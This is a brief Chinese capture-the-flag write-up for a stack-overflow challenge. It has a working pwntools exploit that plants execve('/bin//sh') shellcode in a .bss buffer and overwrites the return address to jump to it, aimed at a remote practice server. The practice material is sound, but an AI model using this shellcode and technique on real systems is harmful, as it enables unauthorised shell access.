查看程序保护
保护基本都没开
IDA打开查看程序流程
读入0x18个字符,NAME位置在bss段
然后程序进入到fun1函数,有明显的栈溢出漏洞,溢出长度为0x10,正好可以控制返回地址
主要思想:基本保护都没开,那么可以先在NAME处读入shellcode。后面进入到fun1函数里,利用栈溢出控制程序返回到NAME处
这里shellcode长度最多为0x18
那么可以用
shellcode=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
完整ex
from pwn import *
context(log_level='debug',arch='amd64')
#io=process("./Xp0intCTF_2018_bof")
io=remote("node3.buuoj.cn",25451)
io.recv()
shellcode=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
io.send(shellcode)
io.recv()
name_bss=0x404070
payload=b'A'*0x20+b'B'*0x8+p64(name_bss)
io.send(payload)
io.interactive()